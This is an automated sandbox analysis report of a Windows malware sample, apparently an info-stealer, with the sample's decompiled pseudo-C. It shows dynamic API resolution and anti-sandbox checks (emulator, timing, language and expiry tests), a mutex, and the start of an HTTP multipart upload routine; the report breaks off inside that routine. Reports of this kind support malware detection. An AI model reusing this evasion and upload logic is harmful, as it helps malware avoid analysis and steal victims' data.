LoadLibraryA.KERNELBASE(00877950,?,00406BAD), ref: 0040CA7C
LoadLibraryA.KERNELBASE(008779C8,?,00406BAD), ref: 0040CA8E
LoadLibraryA.KERNELBASE(008779F8,?,00406BAD), ref: 0040CAA0
LoadLibraryA.KERNELBASE(00877A10,?,00406BAD), ref: 0040CAB1
LoadLibraryA.KERNELBASE(00877BF0,?,00406BAD), ref: 0040CAC3
LoadLibraryA.KERNELBASE(00877AA0,?,00406BAD), ref: 0040CAD5
GetProcAddress.KERNEL32(770B0000,00877728), ref: 0040CAF6
GetProcAddress.KERNEL32(770B0000,memset), ref: 0040CB0D
GetProcAddress.KERNEL32(770B0000,memcpy), ref: 0040CB23
GetProcAddress.KERNEL32(6F890000,00877E48), ref: 0040CB49
GetProcAddress.KERNEL32(6F890000,00875418), ref: 0040CB61
GetProcAddress.KERNEL32(6F890000,00875398), ref: 0040CB79
GetProcAddress.KERNEL32(6F890000,00875378), ref: 0040CB92
GetProcAddress.KERNEL32(6F890000,00877F68), ref: 0040CBAA
GetProcAddress.KERNEL32(6F890000,00875158), ref: 0040CBC2
GetProcAddress.KERNEL32(6F890000,008753D8), ref: 0040CBDB
GetProcAddress.KERNEL32(6F890000,00875478), ref: 0040CBF3
GetProcAddress.KERNEL32(6F890000,00875198), ref: 0040CC0B
GetProcAddress.KERNEL32(6F890000,InternetCrackUrlA), ref: 0040CC22
GetProcAddress.KERNEL32(745C0000,00877FC8), ref: 0040CC47
GetProcAddress.KERNEL32(745C0000,00877E00), ref: 0040CC60
GetProcAddress.KERNEL32(745C0000,008753F8), ref: 0040CC78
GetProcAddress.KERNEL32(745C0000,008754F8), ref: 0040CC90
GetProcAddress.KERNEL32(745C0000,00877EA8), ref: 0040CCA9
GetProcAddress.KERNEL32(745C0000,00877878), ref: 0040CCC1
GetProcAddress.KERNEL32(745C0000,008751D8), ref: 0040CCD9
GetProcAddress.KERNEL32(745C0000,00875498), ref: 0040CCF2
GetProcAddress.KERNEL32(745C0000,00877F50), ref: 0040CD0A
GetProcAddress.KERNEL32(745C0000,00877F08), ref: 0040CD22
GetProcAddress.KERNEL32(745C0000,00877E90), ref: 0040CD3B
GetProcAddress.KERNEL32(73AE0000,00877D40), ref: 0040CD60
GetProcAddress.KERNEL32(73AE0000,008754B8), ref: 0040CD78
GetProcAddress.KERNEL32(73AE0000,00877FE0), ref: 0040CD91
GetProcAddress.KERNEL32(73AE0000,00875218), ref: 0040CDA9
GetProcAddress.KERNEL32(73AE0000,00877E30), ref: 0040CDC1
GetProcAddress.KERNEL32(73AE0000,RegGetValueA), ref: 0040CDD8
GetProcAddress.KERNEL32(76990000,00877D28), ref: 0040CDFD
GetProcAddress.KERNEL32(76990000,00877E60), ref: 0040CE16
GetProcAddress.KERNEL32(76990000,008754D8), ref: 0040CE2E
GetProcAddress.KERNEL32(76990000,00875238), ref: 0040CE46
GetProcAddress.KERNEL32(76990000,00877E78), ref: 0040CE5F
GetProcAddress.KERNEL32(76990000,00877788), ref: 0040CE77
GetProcAddress.KERNEL32(76990000,00877EC0), ref: 0040CE8F
GetProcAddress.KERNEL32(76990000,00877DA0), ref: 0040CEA8
GetProcAddress.KERNEL32(76990000,00877ED8), ref: 0040CEC0
GetProcAddress.KERNEL32(76990000,00877F20), ref: 0040CED8
GetProcAddress.KERNEL32(76990000,00877848), ref: 0040CEF1
GetProcAddress.KERNEL32(76990000,00875258), ref: 0040CF09
GetProcAddress.KERNEL32(76990000,00877F38), ref: 0040CF21
GetProcAddress.KERNEL32(76990000,00877D58), ref: 0040CF3A
GetProcAddress.KERNELBASE(6E680000,008763B8), ref: 0040CF5B
GetProcAddress.KERNEL32(76600000,00875278), ref: 0040CF7C
GetProcAddress.KERNEL32(76AE0000,00875298), ref: 0040CF9E
GetProcAddress.KERNEL32(73870000,00877240), ref: 0040CFC3
GetProcAddress.KERNEL32(73870000,008752B8), ref: 0040CFDB
GetProcAddress.KERNEL32(73870000,00877268), ref: 0040CFF4
GetProcAddress.KERNEL32(73870000,00875318), ref: 0040D00C
GetProcAddress.KERNEL32(73870000,00876EF8), ref: 0040D024
GetProcAddress.KERNEL32(73870000,00877D88), ref: 0040D03D
GetProcAddress.KERNEL32(6EDB0000,00878130), ref: 0040D062
GetProcAddress.KERNEL32(6EDB0000,008781A8), ref: 0040D07A
GetProcAddress.KERNEL32(6EDB0000,008752D8), ref: 0040D093
GetProcAddress.KERNEL32(6EDB0000,0085A768), ref: 0040D0AB
GetProcAddress.KERNEL32(6EDB0000,008787D8), ref: 0040D0C3
GetProcAddress.KERNEL32(6EDB0000,00878238), ref: 0040D0DC
GetProcAddress.KERNEL32(76550000,00878250), ref: 0040D0FD
GetProcAddress.KERNEL32(76550000,00877888), ref: 0040D115
GetProcAddress.KERNEL32(76550000,00878280), ref: 0040D12E
GetProcAddress.KERNEL32(750F0000,00878698), ref: 0040D14F
GetProcAddress.KERNEL32(750F0000,008782E0), ref: 0040D167
GetProcAddress.KERNEL32(73130000,008772B8), ref: 0040D18D
GetProcAddress.KERNEL32(73130000,00878638), ref: 0040D1A5
GetProcAddress.KERNEL32(73130000,008771F0), ref: 0040D1BD
GetProcAddress.KERNEL32(73130000,008780A0), ref: 0040D1D6
GetProcAddress.KERNEL32(73130000,00878298), ref: 0040D1EE
GetProcAddress.KERNEL32(73130000,00878578), ref: 0040D206
GetProcAddress.KERNEL32(73130000,008785D8), ref: 0040D21F
GetProcAddress.KERNEL32(73130000,00878178), ref: 0040D237
GetProcAddress.KERNEL32(76610000,008787F8), ref: 0040D258
GetProcAddress.KERNEL32(76610000,008788D8), ref: 0040D271
GetProcAddress.KERNEL32(6E7A0000,00878088), ref: 0040D292

Strings

memset, xrefs: 0040CB01
memcpy, xrefs: 0040CB18
InternetCrackUrlA, xrefs: 0040CC16
lstrcpynA, xrefs: 0040C9E3
GetEnvironmentVariableA, xrefs: 0040C99F
RegGetValueA, xrefs: 0040CDCC
SetEnvironmentVariableA, xrefs: 0040C9B6
CreateThread, xrefs: 0040C989
lstrcpyA, xrefs: 0040C9CD

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateThread$GetEnvironmentVariableA$InternetCrackUrlA$RegGetValueA$SetEnvironmentVariableA$lstrcpyA$lstrcpynA$memcpy$memset
API String ID: 2238633743-3231020739
Opcode ID: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction ID: 9bcd284fde1af5afdb9725a1d8ee7eb933c8521e96d2c529a01ce852b5064599
Opcode Fuzzy Hash: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction Fuzzy Hash: 9C820FF9523200EFC345DFA8EE889D637B9BB4C251715CA39E509C3661D73894A1CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 0063003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0063024D

Strings

kernel32.dll, xrefs: 0063008F, 00630095
cess, xrefs: 0063018D

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 5c982d2fc7a862bd016d439dcd99abc83acfc6e86922271d520a5749ab34b992
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 73527874A00229DFDB64CF58C995BA8BBB1BF09314F1480D9E90DAB351DB30AE89DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004068F0, Relevance: 9.1, APIs: 6, Instructions: 75
timestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E004068F0(void* __ecx, void* __eflags) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				char _v284;
				struct _SYSTEMTIME _v300;
				struct _SYSTEMTIME _v316;
				int _t45;
				char* _t52;
				intOrPtr _t57;
				void* _t66;

				E0040B720( &_v284, 0x104);
				_v300.wYear = 0;
				_v300.wMonth = 0;
				_v300.wDay = 0;
				_v300.wMinute = 0;
				_v300.wMilliseconds = 0;
				_v316.wYear = 0;
				_v316.wMonth = 0;
				_v316.wDay = 0;
				_v316.wMinute = 0;
				_v316.wMilliseconds = 0;
				_v20.dwLowDateTime = 0;
				_v20.dwHighDateTime = 0;
				_v12.dwLowDateTime = 0;
				_v12.dwHighDateTime = 0;
				GetSystemTime( &_v300);
				_t57 =  *0x41a60c; // 0x8756d8
				 *0x41aa24( &_v284, _t57);
				_t52 =  *0x41a104; // 0x875858
				sscanf( &_v284, _t52,  &(_v316.wDay),  &(_v316.wMonth),  &_v316,  &(_v316.wHour),  &(_v316.wMinute),  &(_v316.wSecond));
				SystemTimeToFileTime( &_v300,  &_v20);
				_t45 = SystemTimeToFileTime( &_v316,  &_v12);
				_t66 = _v20.dwHighDateTime - _v12.dwHighDateTime;
				if(_t66 >= 0 && (_t66 > 0 || _v20.dwLowDateTime > _v12.dwLowDateTime)) {
					ExitProcess(0); // executed
				}
				return _t45;
			}

0x00406905
0x0040690c
0x00406915
0x0040691b
0x00406921
0x00406927
0x00406930
0x00406939
0x0040693f
0x00406945
0x0040694b
0x00406952
0x0040695b
0x0040695e
0x00406967
0x00406971
0x00406977
0x00406985
0x004069b5
0x004069c3
0x004069d7
0x004069e8
0x004069f1
0x004069f4
0x00406a02
0x00406a02
0x00406a0b

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
lstrcat.KERNEL32(?,008756D8), ref: 00406985
sscanf.NTDLL ref: 004069C3
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
ExitProcess.KERNEL32 ref: 00406A02

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID:
API String ID: 2797641603-0
Opcode ID: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction ID: e1bd8726115975e68c113ba4c939dbea9fdba7e28f8895f6eace496917ca047b
Opcode Fuzzy Hash: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction Fuzzy Hash: A531AEB5D1121CABCB58DF94DD85ADEB7B9AF48300F0085EAE10AA3150EB345B94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406B60, Relevance: 6.0, APIs: 4, Instructions: 49
threadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				void* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t16;

				E0040C290(_t16); // executed
				E00401770(); // executed
				E0040C2E0(); // executed
				E00401050(_t16, 0x3e8); // executed
				_t5 = E00406AA0(); // executed
				_t19 = _t5;
				if(_t5 != 0) {
					_t8 = E00406AF0(_t19); // executed
					if(_t8 == 0) {
						_t9 = E00406A10(); // executed
						if(_t9 != 0) {
							_t10 = E00406B30(); // executed
							_t22 = _t10;
							if(_t10 != 0) {
								E00401940(); // executed
								E0040C4A0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E004068F0(_t16, _t22); // executed
								CreateThread(0, 0, E00406650, 0, 0, 0);
							}
						}
					}
				}
				while(1 != 0) {
					if( *0x41abb4 == 0) {
						Sleep(0x3e7);
						continue;
					}
					break;
				}
				E0040BFA0(_t16);
				ExitProcess(0);
			}

0x00406b63
0x00406b68
0x00406b6d
0x00406b77
0x00406b7f
0x00406b84
0x00406b86
0x00406b88
0x00406b8f
0x00406b91
0x00406b98
0x00406b9a
0x00406b9f
0x00406ba1
0x00406ba3
0x00406ba8
0x00406bbc
0x00406bc2
0x00406bd6
0x00406bd6
0x00406ba1
0x00406b98
0x00406b8f
0x00406bdc
0x00406bec
0x00406bf5
0x00000000
0x00406bf5
0x00000000
0x00406bee
0x00406bfd
0x00406c04

APIs

Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00860CE0), ref: 0040C332
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,0085F5D0), ref: 0040C34A
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,0085A748), ref: 0040C362
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00860D70), ref: 0040C37B
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00860D10), ref: 0040C393
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00860B78), ref: 0040C3AB
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00860BD8), ref: 0040C3C4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00860C20), ref: 0040C3DC
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,0085A9E8), ref: 0040C3F4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,0085A908), ref: 0040C40D
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,VirtualAllocExNuma), ref: 0040C423
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00860CC8,?,00406B72), ref: 0040C435
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00860BA8,?,00406B72), ref: 0040C447
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73AE0000,00860D58), ref: 0040C468

Part of subcall function 00401050: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
Part of subcall function 00401050: VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
Part of subcall function 00401050: ExitProcess.KERNEL32 ref: 00401082

Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406AA6
Part of subcall function 00406AA0: Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406ABA

Sleep.KERNEL32(000003E7), ref: 00406BF5

Part of subcall function 00406A10: GetUserDefaultLangID.KERNEL32 ref: 00406A1D

Part of subcall function 00406B30: CreateMutexA.KERNELBASE(00000000,00000000,00875718,?,00406B9F), ref: 00406B3D
Part of subcall function 00406B30: GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00877B60), ref: 0040C4BD
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00877938), ref: 0040C4D5
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00875558), ref: 0040C4EE
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00877908), ref: 0040C506
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00877B90), ref: 0040C51E
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00877A28), ref: 0040C537
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00877BC0), ref: 0040C54F
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00877B48), ref: 0040C567
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00877A88), ref: 0040C580
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00877AB8), ref: 0040C598
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00877AD0), ref: 0040C5B0
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00877AE8), ref: 0040C5C9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00877B00), ref: 0040C5E1
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,008756B8), ref: 0040C5F9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00877B18), ref: 0040C612
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00875578), ref: 0040C62A

CreateThread.KERNELBASE(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00406BBC

Part of subcall function 004068F0: GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
Part of subcall function 004068F0: lstrcat.KERNEL32(?,008756D8), ref: 00406985
Part of subcall function 004068F0: sscanf.NTDLL ref: 004069C3
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
Part of subcall function 004068F0: ExitProcess.KERNEL32 ref: 00406A02

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00406BD6
ExitProcess.KERNEL32 ref: 00406C04

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 30edc539181f4161086e76151398ed8f709a9372c098ffe2502fb7c446d8bec9
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 2101FFB0385365AAE12037A25D17B5935685F00B49F12403BB603F81E2EEBDF460992F

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC50, Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040AC50() {
				void* _v8;
				long _v12;
				int _t9;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v12 = 0x104;
				_t9 = GetComputerNameA(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x4191a0;
			}

0x0040ac6a
0x0040ac6d
0x0040ac7c
0x0040ac84
0x00000000
0x0040ac8f
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction ID: 037935987c21b56ac9d2f6c82646566d18e4d0dbb1ca3967d9f30a297ca29eed
Opcode Fuzzy Hash: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction Fuzzy Hash: CDE012B4A05208BBE700DFE49A49ADD7BBCAB04301F104565E945E2280E6759E94D756

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E00401050(void* __ecx, intOrPtr _a4) {
				int _v8;
				int _t7;

				_v8 = 0;
				_t7 =  *0x41aa50(GetCurrentProcess(), 0, _a4, 0x3000, 0x40, 0, __ecx); // executed
				_v8 = _t7;
				if(_v8 == 0) {
					ExitProcess(0);
				}
				return _t7;
			}

0x00401054
0x00401071
0x00401077
0x0040107e
0x00401082
0x00401082
0x0040108b

APIs

GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
ExitProcess.KERNEL32 ref: 00401082

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction ID: cf04ec476d4c872812d4618a66134526bca4da81b147f74e7f68079ffca38a05
Opcode Fuzzy Hash: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction Fuzzy Hash: C4E08670586308FFEB109F90DD09B997BA8EB04712F108054FA09A72C0C6B45A50CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00406B30, Relevance: 3.0, APIs: 2, Instructions: 15
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406B30() {
				CHAR* _t1;

				_t1 =  *0x41a124; // 0x875718
				CreateMutexA(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
				return 0;
			}

0x00406b33
0x00406b3d
0x00406b4e
0x00000000
0x00406b54
0x00000000

APIs

CreateMutexA.KERNELBASE(00000000,00000000,00875718,?,00406B9F), ref: 00406B3D
GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 327de0e026df715b7b38ea4147415e649a308c5b1f966a57182a2e21aaf30096
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: 93D012B0266205EBE7102794FC49BF637A99744701F214832F10EE61D2C669FCA0462F

Uniqueness

Uniqueness Score: -1.00%

Function 00630DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00630223,?,?), ref: 00630E02
SetErrorMode.KERNELBASE(00000000,?,?,00630223,?,?), ref: 00630E07

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: af18d4e9dd3a86d4bf9c69608d54fada21ccbe56b870c5e7d2e80572571f0e78
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: B2D0123224512C77D7002B94DC09BCD7B1C9F05B66F008011FB0DD9581C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 008626A6, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 008626EE

Memory Dump Source

Source File: 00000012.00000002.778847292.0000000000861000.00000040.00000001.sdmp, Offset: 00861000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_861000_CFE8.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: fad424abde241e14dff292145e849f17210f7f8acc3b60b707b4ad3e67689fc1
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 01F06231200B156BDB203AB9EC8DB6E76E8FF59725F1105A8E643D11C0DB70EC454B61

Uniqueness

Uniqueness Score: -1.00%

Function 00630920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00630929

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 97ba61691119ac6c143e35c22e187454724cf2f5840cc222c11bd32825f4c7c2
Instruction ID: 81cc2d85be0b363c656950924f38b6f44aec89e449adb5a9cb9224a94380d57e
Opcode Fuzzy Hash: 97ba61691119ac6c143e35c22e187454724cf2f5840cc222c11bd32825f4c7c2
Instruction Fuzzy Hash: 8B90047034415C11DD3435DC0C11F0501015745774F3007317130DD1D4DC4055003315

Uniqueness

Uniqueness Score: -1.00%

Function 00862365, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 008623B6

Memory Dump Source

Source File: 00000012.00000002.778847292.0000000000861000.00000040.00000001.sdmp, Offset: 00861000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_861000_CFE8.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d63c0226c3803a9f5a2c7bccf676b4cf7fd07fef80b7fab72a8ae64118d9b891
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: F2113C79A00208EFDB01DF98CA85E98BBF5EF08351F058094F9489B362D375EA50EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404BE0, Relevance: 108.9, APIs: 56, Strings: 6, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00404BE0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, intOrPtr _a16, int _a20, intOrPtr _a24) {
				void _v8;
				char _v516;
				void* _v520;
				char _v1028;
				void* _v1032;
				void _v1548;
				void* _v1552;
				long _v1556;
				long _v1560;
				char _v6564;
				void* _v6568;
				long _v6572;
				void _v6828;
				DWORD* _v6832;
				DWORD* _v6836;
				void* _v6840;
				intOrPtr _v6844;
				DWORD* _v6848;
				void _v8852;
				int _v8856;
				long _v8860;
				void* _t132;
				intOrPtr _t154;
				intOrPtr _t169;
				intOrPtr _t172;
				void* _t176;
				DWORD* _t204;
				char* _t207;
				char* _t219;
				intOrPtr _t221;
				intOrPtr _t225;
				char* _t239;
				intOrPtr _t248;
				char* _t251;
				void* _t275;
				void* _t276;

				_t211 = __ecx;
				E004139B0(0x2298, __ecx);
				E0040B6E0(_t211,  &_v6564, 0, 0x1388);
				E0040B720( &_v516, 0x1f4);
				E0040B720( &_v1548, 0x200);
				_v1552 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000);
				E0040B720( &_v1028, 0x1f4);
				_v520 = InternetOpenA(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				_t213 =  &_v8;
				InternetSetOptionA(_v520, 2,  &_v8, 4);
				_v6572 = 0x100;
				_v1556 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v1556 = 1;
				}
				_t280 = _v520;
				if(_v520 != 0) {
					_t132 = E0040B8B0(_t213, _t280, 0x10);
					_t276 = _t276 + 4;
					 *0x41aa24( &_v516, _t132);
					 *0x41aa24(_v1552, "\r\n");
					 *0x41aa24(_v1552, "------");
					 *0x41aa24(_v1552,  &_v516);
					 *0x41aa24(_v1552, "--");
					 *0x41aa24(_v1552, "\r\n");
					_t248 =  *0x41a1bc; // 0x857040
					 *0x41aa24( &_v1028, _t248);
					 *0x41aa24( &_v1028,  &_v516);
					if(_v1556 == 0) {
						_v6568 = InternetConnectA(_v520, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v6568 = InternetConnectA(_v520, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v6568 != 0) {
						if(_v1556 == 0) {
							_t251 =  *0x41a2d8; // 0x8782b0
							_t219 =  *0x41a590; // 0x8778c8
							_v1032 = HttpOpenRequestA(_v6568, _t219, _a12, _t251, 0, 0, 0x400100, 0);
						} else {
